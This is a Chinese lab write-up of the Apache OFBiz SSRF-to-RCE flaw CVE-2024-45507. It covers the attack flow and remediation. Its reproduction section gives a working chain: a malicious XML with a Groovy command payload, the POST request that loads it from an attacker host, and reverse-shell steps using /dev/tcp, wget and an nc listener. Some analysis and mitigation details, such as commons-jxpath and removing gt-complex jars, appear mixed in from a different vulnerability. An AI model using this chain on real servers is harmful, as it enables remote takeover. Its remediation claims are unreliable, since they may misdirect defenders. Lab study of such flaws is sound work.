春秋云镜-Apache OFBiz历史漏洞2(CVE-2024-45507)

  1. ​1. 漏洞概述​​
  2. ​​2. 漏洞分析​​
  3. ​​3. 漏洞复现​​​
  4. ​​4. 修复方案​​

1. 漏洞概述​

​漏洞名称​​:Apache OFBiz 服务端请求伪造(SSRF)导致远程代码执行(RCE)
​漏洞编号​​:CVE-2024-45507
​CVSS评分​​:9.8(高危)
​影响范围​​:Apache OFBiz < 18.12.16
​漏洞类型​​:SSRF → RCE
​披露时间​​:2024年9月
​漏洞根源​​:
Apache OFBiz 在处理 Groovy 脚本和 XML 模板时,未对用户输入的 URL 路径进行有效验证,导致攻击者可构造恶意请求加载远程 XML 文件,通过 groovy 表达式执行任意系统命令


​2. 漏洞分析​

​(1)技术原理​

  • ​触发路径​​:通过 /webtools/control 接口(如 /forgotPassword/StatsSinceStart)发送 POST 请求,注入 statsDecoratorLocation 参数指向远程恶意 XML 文件

  • ​关键代码缺陷​​:

    • GroovyUtil 和 ScriptUtil 类未校验 valueReference 参数,允许加载远程资源
    • commons-jxpath 库解析 XML 时未限制反射调用,导致 groovy 表达式执行命令

​(2)攻击流程​

  1. 构造恶意 XML 文件,嵌入 Groovy 代码(如 Runtime.getRuntime().exec("命令")

  2. 通过 POST 请求将 statsDecoratorLocation 参数指向该 XML 文件的 URL(如 http://攻击者IP/poc.xml

  3. 服务端解析 XML 并执行其中代码,实现 RCE。


​3. 漏洞复现​​​

(1)、部署恶意文件1.xml
python3 -m http.server 8889

# 1.xml
<?xml version="1.0" encoding="UTF-8"?>
<screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen http://ofbiz.apache.org/dtds/widget-screen.xsd">

    <screen name="StatsDecorator">
        <section>
            <actions>
                <set value="${groovy:'touch /tmp/awesome_poc'.execute();}"/>
            </actions>
        </section>
    </screen>
</screens>


(2)、构造恶意请求,解析1.xml执行恶意代码

POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
Host: localhost:8443
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 64

statsDecoratorLocation=http://<attacker-ip>/1.xml

(3)、更改1.xml中的命令,反弹shell

  • 部署shell.sh
echo "/bin/bash -i >& /dev/tcp/<attcker-ip>/8888 0>&1" > shell.sh
  • 下载shell.sh
${groovy:'wget <attcker-ip>/shell.sh'.execute();}
  • 运行shell.sh
nc -lvvp 8888
${groovy:'bash shell.sh'.execute();}

​4. 修复方案​

​(1)官方修复​

  • ​升级至 18.12.16​​:修复了 GroovyUtil 和 ScriptUtil 类的 URL 加载逻辑,限制外部资源加载
  • ​补丁原理​​:
    • 新增输入校验,禁止包含 java.lang 等危险关键字
    • 使用安全方法 JXPathUtils.newSafeContext() 替代原始解析逻辑

​(2)临时缓解​

  • ​删除漏洞依赖​​:移除 WEB-INF/lib/gt-complex-*.jar(可能影响部分功能)
  • ​网络防护​​:
    • 配置 WAF 拦截包含 execgroovy 或 Runtime.getRuntime() 的请求
    • 限制 /webtools/control 接口的访问权限

​(3)检测与响应​

  • ​工具支持​​:
    • 奇安信天眼、深信服云镜等产品已提供漏洞扫描和攻击流量拦截功能
    • 开源工具如 ​​Apache OFBizExploit​​ 可自动化检测漏洞

梦里小镇落雨,开花,起风,挂霜,甚至扬起烤红薯的香气,每个墙角都能听见人们的说笑声。